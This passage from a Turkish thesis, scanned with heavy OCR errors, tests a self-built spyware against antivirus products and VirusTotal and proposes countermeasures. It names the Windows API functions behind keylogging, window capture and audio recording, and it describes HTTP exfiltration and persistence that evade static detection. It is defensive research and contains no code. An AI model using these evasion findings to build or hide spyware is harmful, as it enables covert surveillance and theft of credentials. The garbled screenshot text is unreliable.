+ Gercek Zamanlh Tarama: + Guvenlik Duvari: Acik
Acik

e Truva Ati Karantinaya Alindi

Taramalar planlayin ve ¢aligtinn

McAfee bilgisayarinizda viriisli bir dosya algiladi ve otomatik olarak karantinaya aldi.

| Bagka bir eylem gerekli degil.
‘ McAfee Abonelig
Glncellemeleri Karantina, siipheli gelerin bilgisayanniza zarar veremeyecekleri bir yer olan
+ Uyelik: B gtivenli bir alandir. Onlan silebilir, geri yikleyebilir veya analiz icin McAfee'ye )
+ Gincellemeler: Gecerli gonderebilirsiniz.
Bu Truva Ati hakkinda i

g : Bu uyany tekrar gosterme
Gincellemeleri denetleyin ve ayarlan o YR g

gorantaleyin Ayrintilan gorg S ———:
Tamam

Copyright © 2013 McAfee, Inc. - i
kehacis i U/McAfee Total Protection

Resim 4.2. Koruyucu yazilimin gelistirilen casus yazilimi tespit ettigini belirten bildirim

Bazi koruyucu yazilimlar isletim sisteminin aktif alanlarini inceler. Ornegin dosya sistemi,
acik portlar, kullanilan igletim sistemi fonksiyonlar1 vb. Bu inceleme sonucunda koruyucu
yazilimlar isletim sisteminde c¢alisan uygulamalara ait gergeklestirilen islemleri
inceleyerek, s6z konusu yazilimlarin zararli yazilim olup olmadiklarina iliskin
degerlendirme yaparlar. Dolayisiyla normal taramada tespit edilemeyen zararl
yazilimlarin, calistirildiktan sonra tespit edilme durumu olusabilmektedir. Resim 4.3’te
sunulan ekran goriintiisii casus yazilimi, ¢alisirken tespit edebildigi halde normal tarama

esnasinda tespit edemeyen bir koruyucu yazilima aittir.
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r EEE

s GorevYoneticisi

Ozel Tarama v

Nesne: C\Users\windows
Tamamlandi: <1 dal
Taranan: 1 E
Tehditler: h
KSN bilgileri: bu uygulamay 10'dan az KSN kullanicisi kullandi. Bugin bilinir hale

sya

Ozel Tarama {

Nesneler:
Durduruldu: bilinmeyer
Taranan: 0 dosya
Tehditler: hicoir

Ozel Tarama v
Nesne: C\Users\Wwindows7\Desktop\WindowsFormsApplication6.exe
Tamamland:: 11 dakika dnce

Taranan: 1
Tahditlar hich

| Listeyi temizle H Kapat [

-

Resim 4.3. Kaspersky yazilimi ile casus yazilimin taratilmasina ait sunulan sonuglar

Resim 4.4’te sunulan ekran goriintiisii, casus yazilimimn c¢alistirildiktan sonra koruyucu
yazilim tarafindan tespit edildigini ifade eden bildirimi icermektedir. Koruyucu yazilim
casus yazilimin aktivitelerini durdurmustur. Casus yazilim “Trojan.Win32.Generic” olarak

siniflandirilmistir.
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Kaspersky PURE 3.0

4 | Bilgisayar Korumasi : ‘
| Bulut korumast | SISTEM IZLEYICI

O Koruma Merkez Veritabanlan ve uygulama giincellf 7 K amactvazimiara ozgutenliel wygulama

Varsayilan ofarak Kaspersky PURE 3.0 Grlini giinc{
O\ Tarama yeni veritabani imzalarini otomatik olarak indirir ve Tespit edildi:
Kaspersky PURE 3.0 giincellemesini de calistirabilir PDM:Trojan.Win32.Generic

<) Gii I 18% Islem (PID: 3248): )
uncelieme Difiin: Dosyatar indidkyor c\users\windows7..\windowsformsapplication6.exe

Indirildi: 192 KB (14 KB/san)
Kaynak: http://dnk-19.geo.kaspersky.com/

kotii amachiUygulama nasil islenmelidir?

‘ Durdur

= Evet, yeniden baslatirken temizle (6nerilen)
Ardindan bilgisayarin yeniden baslatimas: gereken, en
guivenilir viriis temizieme yontemi. Calisan tim
uygulamalar kapatmaniz ve verilerinizi kaydetmeniz
onerilir,

@ Karantina: 2 dosya

Cahstirma
Nesne segili eyleme gore islenecek. Bilgisayar yeniden
baslatimayacak.

58 Aj zleyici

I3 Uygulamalarin Etkinligi

Deneme strimiini kullaniyorsunuz.
Ticari siiriimii satin almanzi Gneriyoruz.

Resim 4.4. Casus yazilimin ¢alistirildiktan sonra tespit edildigini belirten bildirim

Yukarda ifade edilen koruyucu yazilimlarla birlikte Cizelge 6.2°de belirtilen diger
koruyucu yazilimlardan giivenlik duvart 6zelligi olan ii¢ adet koruyucu yazilimin, casus
yazilimi topladigi bilgileri gondermek iizere internete baglandigi sirada tespit ettigi
gozlemlenmistir. Giivenlik duvart 6zelligi sayesinde tespit edilen bu durum her zaman
tespit edilen yazilimm zararli yazilim oldugu anlamina gelmemektedir. Normal
yazilimlarin da gilincelleme, bilgi alip gonderme gibi c¢esitli nedenlerle internete baglanma
ihtiyact duymalarindan dolayi, internete baglanma girisimi tek basma casus yazilim
davranig1 olarak nitelendirilebilecek bir davranis degildir. Dolayisiyla giivenlik duvari
ozelligi olan koruyucu yazilimlarin kullaniciya gosterdikleri uyarilar fazla olacagindan,

uyarilar kullanic1 agisindan 6nem ifade etmeyebilir.

4.3. Casus Yazilhmin Cevrimici Viriis Tarama Sayfasinda Test Edilmesi

Antiviriis programlariin casus yazilim karsisinda verdikleri tepkiyi 6grenmenin bir diger
yontemi de gevrimici siipheli dosya tarama siteleridir. Ornegin "Virustotal.com" sitesi,
yiklenmis bir dosyayr yaygin antiviriis programlarina (49 adet) inceleterek her bir

koruyucu yazilima ait sonucu listelemektedir. S6z konusu ¢evrimigi tarama sitesine
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gelistirilmis olan casus yazilimin yiiklenerek taranmasi sonucu elde edilen sonuglar Resim

4.5’te sunulmustur.

# () Toplulk (Afcommunityf)  lstatiskler (Arfstatistics)  Belgsleme (ftridocumentation)  SSS (trfaq/)  Hakkinda ftrisbout/)

ﬂ ] C total (i) mTOrkge  Topluujumiza ket Girig Yap
SHAZSS: TTodb 52885 1848c0a32 81850422376 0158177 4dfa Te2leaS0basfOaBS5EE $
Dosya adi: VWi dowes F onmis A piplic-ation B, exe
Tespit edime orani 3/ 49 0 0
Analiz tadhi 2014-03-02 21:12:40 UTC { 2 dakika 8nce)

= Analizler. @ Dosya detayi D EK bilgl. & Youmilar, 0 3 Orylar

Antivirus Sonug Guncelle

Antivic TR/Spy.Gen 20140302

MeAdse Generic Keylogger.an 20140302

McAfss-GW-Edition Genenic Keylogger.an 20140302

AVG ® 20140302

Ad-Puvare [ 20140302

Agnitum [ 20140302

AhnLsb-v3 © 20140302

Antiy-AVL [ 20140302

Avast ] 20140302

Baidu-intemational ] 20140302

BitDefender ] 20140302

Bkav L] 20140228

ByteHero L] 20140302

CAT-QuickHeal L] 20140302

CMC L 20140228

Clamav ® 20140301

Commtouch ® 20140302

Comodo © 20140302

Drieb [ 20140302

ESET-NOD2 ] 20140302

Emsisoft ] 20140302

F-Prt ] 20140302

F-Secure ® 20140302

Fortinet L] 20140302

Gheata L] 20140302

Resim 4.5. VirusTotal.com sitesinden alinan tarama sonuglari
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|kawrus ] 20140302
Jiangmin L] 20140302
K7 Ant Vires ] 20140301
KIGW L] 20140301
K asparsky & 20140302
Kingsoft & 20140302
Malwarebytes & 20140302
Mic o'\World-eS can ] 20140302
Mic maoft ] 20140302
HWANO-Antrus ] 20140302
Warman ] 20140302
Panda @ 20140302
Qihoo-380 L 20140302
Rising L] 20140302
SUPERAnt Spyware -] 20140302
Sophas ] 20140302
Symantec L] 20140302
TheHacker & 20140228
Total Defen se & 20140302
TrendMicro L] 20140302
Trend Micro-HouseCall L] 20140302
VBAZ2 ] 20140228
VIPRE ] 20140302
ViRabot L 20140302
nP rotect & 20140302
B Blog (Mip:/iblog. virustolal com) | W Twitter (hitp:/ Awitter com/gliinstotsl) | 35 contact@virusiotal com (firfabout/contact’) | 48 Google gruplar,
{http:/igrou ps. googhe.com/forum/#iorumvirustotal) | #, Seris Kogullan (traboutterms-of-senical) | & Gizlilik politik as {it/about/privacy/)

Resim 4.5. (devam) VirusTotal.com sitesinden alinan tarama sonuglari

Sonuglardan da goriilebilecegi gibi birgok koruyucu yazilim gelistirilmis olan casus
yazilim1 tehlikeli olarak degerlendirmemektedir. VirusTotal.com sitesinin Bolim 3.6.6 ve
Boliim 3.6.9’da sunulan 6zellikler digindaki 6zellikleri barindiran casus yazilim tizerinde
yaptig1 taramada 49 antiviriis yazilimmdan sadece 3'linin casus yazilimi tehlikeli olarak
degerlendirdigi goriilmiistiir. Ardindan gelistirilen casus yazilima Bolim 3.6.6.°da

belirtilen ekran resmini ¢ekme oOzelligi eklenerek tekrar websitesi lizerinden tarama
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yapildiginda casus yazilimi tespit eden koruyucu yazilim sayisinin 15 adede ¢iktigi
goriilmiistiir. Son olarak Bolim 3.6.6’da sunulan 6zelligi barindirmayan ancak Bolim
3.6.9’da belirtilen “Ses Kaydi” 6zelligini barindiran casus yazilim websitesi lizerinden
taratildiginda casus yazilimi tespit eden koruyucu yazilim sayisinin yedi oldugu
goriilmustlir. Farkli 6zellikleri barindiran casus yazilimlarin tarama sonuglarinin farkli
olmasi, koruyucu yazilimlarin farkli yontemlerle casus yazilimlari tespit ettigini

gostermektedir.

Cizelge 4.2°de casus yazilimi tespit eden bazi casus yazilimlarin Resim 4.5’de sunulan
listede casus yazilimi tespit edemedigi goriilmektedir. “Virustotal.com” web sitesinde,
blinyesinde barindirdigi antiviriis ¢Ozlimlerinin ticari olanlarla tamamen ayni1
olmayabilecegi hususu ifade edilmektedir. Web sitesinin agiklamasinda antiviriis
sitketlerinin s6z konusu web sitesine sagladiklar1 motorlar1 ticari olanlardan farkl
parametrelerle ayarlayabilecekleri, bu nedenle sonuglarin ticari olanlardan farkli

olabilecegi hususu ifade edilmektedir.

4.4. Edinilen Bulgular Isiginda Casus Yazihmlarin Olusturdugu Riskler

Bolim 2.2.4°te casus yazilimlarin olusturduklar riskler anlatilmistir. Gergeklestirilen
deneysel calisma sonucunda bahsedilen risklerin bazilarinin nasil gerceklestigi ortaya

konulmustur.

4.4.1. Herhangi bir koruyucu yazilmin yiiklii olmadig bilgisayarlarda riskler

Cizelge 4.1’de sonuglar1 belirtilen ¢alisma sonucunda bahsedilen igletim sistemlerinin
varsayillan giivenlik ayarlar1 ile gelistirilen casus yazilimi engellemedikleri ortaya
konulmustur. Dolayistyla bu calisma kapsaminda gelistirilen casus yazilim ile asagida
belirtilen riskler herhangi bir koruyucu yazilimin yiikli olmadigi bilgisayarlarda
gergeklesmistir;

e Kaullanicilarin siber diinyadaki kimlik kartlar1 olarak tanimlanabilecek kullanici adi
ve sifrelerinin ele gegirilmesi (Bolim 3.6.1 ve Boliim 3.6.2°de belirtilen basilan tus
bilgileri ile acik uygulama bilgilerinin elde edilmesi),

e E-posta, sosyal medya gibi yazismalarin diger kisilerin eline gegebilmesi (Basilan tus

bilgilerinin ele gecirilmesi ile)
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e Kisiye Ozel fotograf, video gibi gorsel medyalarin kot niyetli kisilerce ele
gecirilebilmesi (Bolim 3.6.6’da tanimlanan ekran goriintiilerinin elde edilmesi
araciligiyla),

e (asus yazilimlarin bilgisayarin arka planinda c¢alismasi sonucunda bilgisayarda
performans kayb1 yasanmasi,

e Banka sifrelerinin ¢alinarak kisilerin banka hesaplarindan para ¢ekilmesi (Basilan tus
bilgilerinin elde edilmesi ve bilgisayar ekran gorintilerinin elde edilmesi
araciligiyla).

e Kurumsal nitelikte ¢alisan sirketler ile askeri ve kamu kurumlarinin kritik bilisim
varliklarina ait envanterin elde edilmesi (Boliim 3.6.3’te sunulan 6zellikler ile kurum
ici ag hiyerarsisinin anlasilmast ve Bolim 3.6.4’te sunulan oOzellikler ile ne tiir
sunucularin sistemde mevcut oldugunun belirlenebilmesi).

e Boliim 3.6.3 ile detaylar1 anlatilan Genel IP adresinin elde edilmesi ile kullanicinin
yaklagik konumunun elde edilmesi,

e Boliim 3.6.9 ile detaylar1 anlatilan ortam dinleme 6zelligi ile gizli toplantilarin, 6zel
veya kurumsal goriigmelerin {igiincii kisiler tarafindan da takip edilebilmesi riski

mevcuttur.

4.4.2. Koruyucu yazihm yiiklenmis olan bilgisayarlardaki riskler

Boliim 4.2°de sunulan koruyucu yazilimlar, bu ¢aligma kapsaminda gelistirilen casus
yazilima kars1 test edilmiglerdir. S6z konusu testlere ait sonuglar Cizelge 4.2°de

sunulmustur. Cizelge 4.2°de sunulan sonuglar ¢ercevesinde;

e Bes adet koruyucu yazilimin gelistirilen casus yazilimi herhangi bir sekilde tespit
edemedigi,

e Bir adet koruyucu yazilimin casus yazilimi sadece internet erisimi esnasinda tespit
ettigi ancak casus yazilimi zararl bir yazilim olarak siniflandirmadigi,

e Bir adet koruyucu yazilimin, casus yazilimi g¢alistirilmasindan sonra tespit edip
engelledigi (Calisma Oncesi yapilan taramada casus yazilimi tespit edemedigi),

e Ug adet koruyucu yazilimin ise casus yazilim heniiz calismiyorken bile, daha dosya

sistemi tizerinde iken zararl yazilim olarak tespit ettigi ve engelledigi,
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gozlemleri yapilmistir. Bu gozlemler dikkate alindiginda koruyucu yazilimlarin farkli
tepkiler verdigi dolayisiyla da koruyucu yazilimlarin yiikli oldugu bilgisayarlardaki
risklere yonelik genel bir degerlendirmenin yapilamayacagi degerlendirilmistir. Yukarda
sunulan farkli koruyucu yazilimlarin gostermis olduklar1 farkli tepkilere iliskin risk

degerlendirilmeleri asagida sunulmustur.

Casus yazilimi higbir sekilde tespit edemeyen koruyucu yazilimlarin yiikli oldugu
bilgisayarlar; Bu tiir koruyucu yazilimlarin yiiklii olduklar1 bilgisayarlardaki riskler Bolim
4.4.1.de sunulan riskler ile ayn1 degerlendirilebilir. Casus yazilima iligskin hi¢bir uyari
belirtmeyen bu yazilimlar temelde higbir koruyucu yazilimin yikli olmadig:
bilgisayarlardan farksizdirlar. Bununla birlikte kullanicilar, bilgisayarlarinda bulunan bir
koruyucu yazilim oldugundan zararli yazilimlardan korunduklarini diisiineceklerdir
dolayisiyla riskler karsisinda zafiyet gosterebilirler. Ornegin zararli bir yazilim olabilecek
calistirilabilir bir dosyayr (Ing. Executable file) koruyucu yaziliminmn var oldugunu
diisiinerek c¢alistirabilir ve bunun sonucunda bilgisayara casus yazilim engellenmeden

bulagmis olur.

Casus yazilima ait internet erisimini tespit eden koruyucu yazilimlarin yiikli oldugu
bilgisayarlar; Glivenlik duvari 6zelliginin aktif oldugu koruyucu yazilimlarin yiiklii oldugu
bilgisayarlarda istisna listesine almmamig tiim programlar internete erismeyi
denediklerinde bu durum koruyucu yazilim tarafindan kullaniciya bildirilir. Kullanici,
koruyucu yazilim ara yiizii araciligiyla internete erismeyi deneyen yazilima izin verir ya da
reddeder. Kullanici ile interaktif bir iletisim gerektiren bu tir koruyucu yazilimlar,
kullandiklar1 programlarin internet gerektirip gerektirmeyecegini ayirt etmekte zorlanacak
kullanicilar i¢in bir anlam ifade etmeyecektir. Ayrica internete erismeyi deneyen yazilimin
her zaman zararli yazilim oldugu ¢ikarimi da yapilamaz. Normal yazilimlarin da
giincelleme, bilgi alip gonderme gibi cesitli nedenlerle internete baglanma ihtiyaci
duymalarindan dolayi, internete baglanma girisimi tek basina zararli yazilim davranisi
olarak nitelendirilebilecek bir davranis degildir. Ayrica casus yazilimin internet erigimi
engellense bile topladig1 bilgileri bilgisayar iizerinde saklayabilir, bu durum bilgisayara
fiziksel erisimin miimkiin oldugu durumlarda riskin devam ettigi anlamina gelmektedir.
Tiim bu hususlar dikkate alindiginda bu tiir bilgisayarlarda da risklerin oldugu

degerlendirilebilir.
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Casus yazilimi tespit eden yazilimlar; Bu koruyucu yazilimlarin kendilerinden beklenen
islevleri yerine getirdigini degerlendirmek miimkiindiir. Cizelge 4.2’de de ifade edildigi
gibi bu tiir yazilimlar casus yazilimin g¢alismasina miisaade etmeden olas1 tehlikeyi
kullaniciya bildirdiginden ve casus yazilim istisna listesine alinmadigi miiddetge galismasi
engellendiginde riskler engellenmis olur. Ancak bir¢ok casus yazilimin kullaniciya fayda
saglayan normal bir yazilimin arkasinda gizlendigi gergegi dikkate alindiginda kullanicilar
zaman zaman risk igerse bile kendilerine saglayacagi fayday1 kullanabilmek i¢in (lisansi
kirilmis bir uygulama, korsan yazilim vb.) casus yazilim igeren yazilimi istisna listesine

ekleyerek calismasina izin verirler bu durumda riskin olusmasina neden olur.

4.5. Casus Yazihmlara Karsi1 Alinabilecek Onlemler

Bilgisayar kullanicilarinda koruyucu yazilim yiikleyerek zararli yazilimlardan tamamen
korunulabilecegi diislincesi yaygindir. Ancak Boliim 4 ve Bolim 5°te sonuglart sunulmus
olan ¢aligma ile casus yazilimlarin koruyucu yazilimlar karsisinda bile riskli olabilecekleri
ortaya konulmustur. Dolayisiyla koruyucu yazilimlar ile birlikte bazi 6nlemlerin de

alinmasi gerekmektedir. Bu dnlemler kategorize edilerek asagida sunulmustur.

4.5.1. Koruyucu yazilim gelistiriciler tarafindan alinabilecek 6nlemler

Zararli yazilimlarin tespit edilmesi igin temelde iki yontem kullanilmaktadir. Bunlardan
ilki “Statik Analiz” yontemi olup bu yontem temel olarak yazilima ait “binary” kodlarin
calistirilmadan, zararli olup olmadiklarina iliskin imza karsilastirmasina tabi tutulmasi
prensibine dayanmaktadir. Statik analiz yontemi bilinen zararli yazilimlarin tespitinin ¢ok
hizl1 yapilabilmesini saglamakla birlikte statik analiz yontemine yonelik yaniltict 6nlemler
alan bazi zararli yazililar ile imzasi olugsmamis zararli yazilimlara kars1 yetersiz
kalmaktadir. Bir¢ok koruyucu yazilim statik analiz yontemine oldukca benzeyen yontemler
kullanmaktadir. Zararli yazilimlarin tespitinde kullanilan diger yontem ise “Dinamik
Analiz” yontemidir. Dinamik analiz yOntemi, zararli yazilimin g¢alistigi esnada
aktivitelerinin (Ing. process) incelenerek, zararli yazilim aktivitelerine benzerlik gdstermesi
durumunda zararli yazilimin tespitini saglar. Dinamik analiz yonteminin statik analiz
yontemi ile karsilastirildiginda o6zellikle tespit edilmemeyi hedefleyen zararli yazilimlara

kars1 daha etkili oldugu kanitlanmigtir [21, 44].
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Diinyada, bilisim alaninda gelismis bir¢ok {iilkenin biinyesinde firma veya kuruluslar

tarafindan gelistirilmis koruyucu yazilimlar bulunmaktadir. Ancak bilisim sistemleri

altyapilar1 icin giivenlik ¢ozlimleri sunan OPSWAT yazilim firmasi tarafindan Agustos

2013 tarihinde yayinlanan “Antiviriis Uriinlerinin Market Dagilimi” raporu gibi

uluslararasi diizeyde raporlar da incelendiginde iilkemizde bu konu ile ilgili gerek kamu

kurumu diizeyinde gerekse 6zel firma diizeyinde heniiz ortaya varlik gosterebilmis bir tirlin

cikmadig1 goriilmektedir. Bu kapsamda yapilabilecek bir koruyucu yazilim gelistirilmesi

caligmasina katk1 saglayabilecegi diisiiniilen oneriler asagida sunulmustur.

Gelistirilen casus yazilimda bilgi giivenligi agisindan en tehlikeli ozelliklerden
birisinin basilan tuslar1 kaydetme 6zelligi (Ing. Keylogger) oldugu diisiiniildiigiinde
bu ozelligi saglayan isletim sistemi fonksiyonlarindan "GetAsyncKeyState"
fonksiyonu tizerinde durulmalidir. Windows isletim sistemi iginde "User32.dIl"
dosyasinda tanimlanmis olan bu fonksiyonun kullanim amaglari arasinda oyun
programlama, uygulamalara kisa yol tusu olusturma gibi 6zellikler bulunsa da
Boliim 3.6.2°de ki gibi baz1 tanimlamalar ve degisiklikler yardimiyla basilan tuslar
kaydetme 6zelligine sahip bir casus yazilim gelistirilebilmistir. Internet ortaminda
basilan tuslart kaydetme islevine yonelik kullanima hazir halde cesitli
kiitliphaneler/siniflar bulunmakla birlikte bu siniflar1 kullanan casus yazilimlar
statik analiz yontemini kullanan bir¢cok koruyucu yazilim tarafindan (ilgili
kiitliphaneler/siniflar imza veritabanlarinda kayithh  olduklarindan) tespit
edilebilmektedir. Ancak Bolim 3.6.2.°de detaylar1 sunulan kodlar 6zgiin olarak
gelistirildiklerinden statik analiz yontemi ile tespit edilmeleri zorlasmistir. Ozellikle
dinamik analiz yontemi ile ilgili yukarda ifade edilen bilgiler de dikkate alindiginda
gelistirilecek olan bir koruyucu yazilimin statik analiz yontemi ile birlikte isletim
sisteminin “GetAsyncKeyState” fonksiyonunu kullanan uygulamalar1 ve bu
uygulamalarin davraniglarini dinamik analiz yontemi ile riskli smifa almasi, bu
fonksiyonu kullanarak gelistirilecek casus yazilimlarin tespitini miimkiin kilacaktir.
Bu fonksiyon ile ilgili detayli teknik bilgi Microsoft firmasinin resmi internet
sitesinde ilgili linkte "http://msdn.microsoft.com/en-
us/library/windows/desktop/ms646293(v=vs.85).aspx" bulunabilir.

Bu calisma kapsaminda gelistirilen casus yazilima kazandirilan bir diger bilgi
giivenligini tehdit eden Onemli O&zellik ise, acik pencerelerin bilgilerinin

kaydedilmesidir. Bu ozelligin olusturdugu risklere ait detaylar Boliim 3.6.1°de
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sunulmustur. Casus yazilima bu 6zelligi kazandiran isletim sisteminde "user32.dll"
dosyasi igindeki "GetForegroundWindow()" fonksiyonunun da dikkate alinmasi
gerekmektedir. Dinamik analiz yontemini kullanacak olan bir koruyucu yazilimda
bu fonksiyonu kullanan uygulamalarin 6zellikle “GetAsyncKeyState” fonksiyonu
ile birlikte kullanildiginda dikkate alinmas1 gerekmektedir.

Ortam dinlemesi i¢in ses kaydi oOzelligi, casus yazilimin olusturdugu Onemli
risklerden birisidir. Bu 6zellik “Windows” isletim sistemlerinde standart olarak
bulunan “winmm.dll” dosyasi i¢inde taniml1 olan “mciSendStringA” fonksiyonu ile
gergeklestirildiginden dinamik analiz yontemi kapsaminda bu fonksiyonunda
dikkate alinmas1 gerekmektedir.

E-posta gonderme 6zelligi halihazirda birgok koruyucu yazilim tarafindan riskli
islem olarak degerlendirilmektedir. Ancak bu c¢alisma kapsaminda gelistirilen casus
yazilimda toplanan bilgilerin e-posta ile gonderiliyor olmasi koruyucu yazilim
gelistiricilerin bu hususu dikkate almalar1 gerekliligini gili¢clendirmistir. Bununla
birlikte Boliim 3.6.8’de detaylari sunulan casus yazilim 6zelligi ile bir uygulamanin
topladig1 bilgileri e-posta ile gonderirken kullanilan klasik yontemlerin disina
cikabilecegi gosterilmistir. Yani e-posta gonderiminin gergeklestigi e-posta portlari
(SMTP:25, POP3:110, IMAP:143, SMTP (SSL): 465, MSA:587) disinda da “http”
protokolii (80.port) araciligiyla web sunucular ile iletisime gecilip toplanan bilgiler
gonderilebilmektedir. Bu 6zellik dikkate alindiginda dinamik analiz yontemiyle
calisacak bir koruyucu yazilimin, 80.port iizerinden yapilan o6zellikle e-posta
icerigine benzeyen (Gonderici, Alici, Konu ve Igerik gibi bilgileri igeren) ve belirli
araliklarda tekrarlanan veri aligverislerinin yukarda belirtilen diger riskli islemlerle
birlikte degerlendirme yapmasi, e-posta ile veri aligverisi yapan casus yazilimlarin
tespit edilmesine yardimei olacaktir.

Yapay zeka bir bilgisayarin ya da bilgisayar denetimli bir makinenin, genellikle
insana 6zgl nitelikler oldugu varsayilan akil yiiriitme, anlam ¢ikartma, genelleme
ve gecmis deneyimlerden 68renme gibi yiiksek zihinsel siireclere iligkin gorevleri
yerine getirme yetenegi olarak tanimlanmaktadir [45, 46]. Yapay zeka algoritmalari
bilgileri birlestirir, analiz eder, sonuca varir ve bu sonucu ise bir nedene baglar.
Uzman sistemler yapay zeka uygulamalarindan olup zararli yazilim tespiti amaciyla
kullanilmaktadir [45]. Bu kapsamda gelistirilecek bir yapay zeka algoritmasi ve
isbu ¢alisma kapsaminda edinilen bulgularin degerlendirilerek olusturulacak uzman

sistem kural tabani ile zararli yazilimlarin risklerinin degerlendirilmesine yonelik
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bir yazilim modiliiniin koruyucu yazilimlara entegre edilmesi miimkiindiir. S6z
konusu uzman sisteme ait kural veritabaninda Bo6lim 3’te sunuldugu gibi gesitli
aktivitelerin risk puanlamasina tabi tutulmasi (6rnegin agik uygulama bigileri ile
belirli peryotlarda e-posta géonderiminin bir arada bulunmasi durumu igin bir risk
puani, basilan tus bilgilerinin saklanmasi durumu i¢in belirli bir risk puani
belirlenmesi vb.) ve bu kural veritabaninin dinamik olarak yapay zeka algoritmalari

ile giincellenebilir olmasi zararli yazilimlarin tespitine katki saglayabilecektir.

4.5.2. Kisisel onlemler

Casus yazilimlara karst kullanicinin ¢alistig1 isyerinde sistem yoneticileri ¢esitli kurumsal

onlemler almig olabilir ancak bu kurumsal 6nlemlerin yanm sira giivenligi arttirict kisisel

onlemler de alinabilir. Nitekim “bir zincir en zayif halkas1 kadar giiclidiir” prensibi geregi

kigiler bilgi gilivenligi konusunda sorumluluklarini yerine getirmedigi takdirde tiim

kurumsal sistemi bilgi giivenligi agisindan tehlikeye atabilir.

Kurumsal sistemler disinda kisilere ait 6zel bilgilerin tutuldugu o6zel bilgisayarlar da,

aliabilecek kisisel dnlemlerle bilgi giivenligi agisindan casus yazilimlara kars1 korunabilir.

Kaynag belirsiz olan veya siiphe duyulan ancak islevsel olarak ihtiyag duyulan
dosyalari, bilgisayarda c¢alistirmadan Once cevrimigi zararli tarama web siteleri
tizerinden (Resim 4.5’te bir 6rnegi sunulanVirusTotal.com gibi web sayfalari) ilgili
dosyanin koruyucu yazilimlar tarafindan zararli olarak taninip taninmadigi
konusunda fikir edinilebilir.

Ozellikle kurumsal yerlerde ¢alisan kullanicilarin kisa siireli de olsa bilgisayar
basindan ayrilacaklar1 durumlarda bilgisayarlar1 kilitlemeleri (Windows isletim
sistemleri i¢cin Windows Tusu ile "L" tusuna birlikte basarak saglanabilir)
gerekmektedir. Ciinkii kotii niyetli kisilerin agik olan bir bilgisayarin bagsina
gecerek bir dosyay: calistirmasi ¢ok kisa siirelerde saglanabilir. Casus yazilimlarin
bir sefer ¢alistirilmasi isletim sistemine yerlesmesine yeterli oldugu hususu dikkate
alindiginda (bakiniz bu calisma kapsaminda gelistirilen casus yazilima kendini
otomatik baglatma oOzelliginin eklenmesi Boliim 3.6.8) basinda olunmadig:
zamanlarda bilgisayar oturumunun kilitlenmesi gerekmektedir.

Bilgisayar gorev yoneticisi programindan (CTRL+ALT+DEL tus kombinasyonu ile

ulagilabilir) caligan programlar takip edilmeli kullaniciya ve sisteme ait olmayan
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programlara siiphe ile yaklasiimalidir. Thtiyag duyulmayan programlarin sistemden
ve baslangictan kaldirilmasi gerekmektedir. Ornegin bir programa ait giincelleme
servis hizmetinin arka planda siirekli ¢alismasi hem performans kaybina neden
olacaktir hem de ilgili hizmet adi ile bir casus yazilimin arka planda ¢alisma riskini
barindiracaktir. Resim 4.6’da sunulan goriintii bu ¢alisma kapsaminda gelistirilen
casus yazilmin “Windows 8” isletim sistemi gorev yoneticisi “Baslangig”
sekmesindeki  gOriiniimiinii  barindirmaktadir. S6z konusu casus yazilim
“WindowsFormApplication6 (3)” adi ile “Kayit Defteri” ne eklenmistir. Ancak
siber suclularin kullanacaklar1 isim ve uygulama logolar1 kullanicilar agisindan ¢ok
daha yaniltici olacaktir. Kullanicilarin baslangi¢ listesindeki uygulamalara asina

olmasi bu tiir saklanacak olan zararli yazilimlar etkisiz hale getirecektir.

= Gorev Yoneticisi = B
Dosya Segenekler Gérantile
Islemler | Performans | Uygulama gegmisi | Baglangic | Kullamicilar | Aynintilar | Hizmetler
Son BIOS zamane 4.0 saniye
-
Ad Durum Baglangig etkisi | Baglangig tdrd
' — = = : A
|| Program Devre Digi Yok Klasar
:ill Realtek HD Audio Yaneticisi Etkin Yiiksek Kayrt defteri
51 Snap Devre Digi Yok Kayit defteri
» SpotfluxAgent (4) Etkin Yiksek Kayrt defteri
+ ] Virtual Mew Tab Loader (2) Etkin Orta Kayrt defteri
cHd VMware Tray Process Etkin Dagik Kayrt defteri
+ [B] WindowsFormsApplicationt (3) Etkin Yiiksek Kayit defteri
< >
IE:I Daha az aynnti Etkinlegtir

Resim 4.6. Windows 8’de otomatik baslayan uygulamalar1 gosteren gorev yoneticisi

Bilgisayar ilizerinde tanimlanmis zamanlanmis gorevler takip edilmeli taninmayan
programlar buralardan kaldirilmalidir. Bu bélgelerde yapilacak iyilestirmeler
(optimizasyonlar) ayrica bilgisayarin performansina da olumlu katki saglayacaktir.
Resim 4.7’de “Windows 8” igletim sisteminde bulunan “Goérev Zamanlayici”
uygulamasina ait ekran gorilintlisii sunulmustur. S6z konusu uygulamaya “Denetim
Masas1” {izerinden ulasilabilmektedir. Resim 4.7°de sunulan goriintiide de
goriilebilecegi gibi birgok uygulama belirli saat dilimlerinde veya sistem

baslangicinda  ¢alismaya  programlanmis  durumdadir.  Listede  sunulan
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uygulamalardan “My_ App” isimli yazilim bu ¢alisma kapsaminda gelistirilmis olan

casus yazilimdir. Casus yazilimi zamanlanmig gorev listesine ekleyen yazilim kodu

Bolim 3.6.8’de sunulmustur. Zamanlanmis gorevler bir¢cok kullanici tarafindan

bilinmediginden isletim

sistemlerine ait bu Ozellik siber suclular tarafindan

kullanilmaya miisaittir. Bilinmeyen yazilimlarin bu listelerden silinmesi
gerekmektedir.
@) Gérev Zamanlayici = =
Dosya  Eylem  Goranam  Yardim
«szE @
© Garev Zamanlayer (4 ) o Durum  Tetikleyiciler ~ | | Eylemler
4 g Gorev Zamanlayic| || . .
. 7 Microsoft (5 {C12555BE-6448-4AF5-AEF3-CDOFT01CT23E} Hazir Gorev olugturuldugunda veya degigtirildiginde Gérev Zamanlayicl ...
| OfficeSoftware  AutokMS Hazir Birden ok tetikleyici tanimland g Temel Garev Olugt...
(% Dealply Hazir Her giin 22:20 saatinde - Tetiklendikten sonra, 1 © Gorev Olutur,
(% GoogleUpdateTaskMachineCore Hazir Birden gok tetikleyici tanimland: Gorew Al
(% GoogleUpdateTaskMachineUA Hazir Her giin 10:43 saatinde - Tetiklendikten sonra, 1 orey Al
(% 1SM-UpdateService-4e00205a-2ab1-4423-877-... Hazir Her giin 17:37 saatinde [ Tam Calisen Gorevl..
® ISM-UpdateService-4el0205a-2ab1-4423-8f77-... Hazir Herhangi bir kullanici oturum aghginda §_—‘ Tam Garevler Geg..,
[E1 vy App Hazir Sistem baglangicinda v “ Yeni Klasar
< > —
Gardndm »
Genel | Tetikleyiciler | Eylemler | Kosullar | Ayarlar | Gegmis (devre digi birakildi) & Yenile
Eylem Aynntilar ~ E Vardim
